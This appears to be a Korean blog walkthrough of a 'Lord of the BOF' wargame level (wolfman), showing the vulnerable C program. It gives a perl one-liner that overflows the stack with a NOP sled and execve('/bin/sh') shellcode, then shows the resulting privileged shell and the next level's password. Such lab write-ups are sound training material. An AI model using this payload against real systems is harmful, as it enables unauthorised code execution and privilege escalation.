본문 바로가기

워게임/lord of bof

level 4 -> 5


[orc@localhost orc]$ cat wolfman.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - wolfman

        - egghunter + buffer hunter

*/

 

#include <stdio.h>

#include <stdlib.h>

 

extern char **environ;

 

main(int argc, char *argv[])

{

           char buffer[40];

           int i;

 

           if(argc < 2){

                     printf("argv error\n");

                     exit(0);

           }

 

           // egghunter

           for(i=0; environ[i]; i++)

                     memset(environ[i], 0, strlen(environ[i]));

 

           if(argv[1][47] != '\xbf')

           {

                     printf("stack is still your friend.\n");

                     exit(0);

           }

           strcpy(buffer, argv[1]);

           printf("%s\n", buffer);

 

        // buffer hunter

        memset(buffer, 0, 40);

} 

귀찮고 스크롤만 길어지니 중요한거 아니면 디스어셈블 코드는 안올릴게요


이거 아까랑 똑같이 풀 수 있어요.. 추가된 부분이 마지막 memset인데


이게 buffer 영역에 40byte만큼 초기화하는거거든요..


근데 아까같은 경우엔 ret 이후의 다른 영역에 스택을 덮어 썼기 때문에.. 이 문제도 똑같이 풀 수 있어요


[orc@localhost orc]$ ./wolfman `perl -e 'print "A"x44, "\x90\xfa\xff\xbf"x4, "\x90"x64, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??퓧?퓧?퓧?퓧???????????????????????????????????????????????????????????????1픐h//shh/bin??S??

                                                        것€

bash$ id

uid=504(orc) gid=504(orc) euid=505(wolfman) egid=505(wolfman) groups=504(orc)

bash$ my-pass

euid = 505

love eyuna



'워게임 > lord of bof' 카테고리의 다른 글

level 6 -> 7  (0) 2015.10.23
level 5 -> 6  (0) 2015.10.23
level 3 -> 4  (0) 2015.10.23
level 2 -> 3  (0) 2015.10.23
level 1 -> 2  (0) 2015.10.23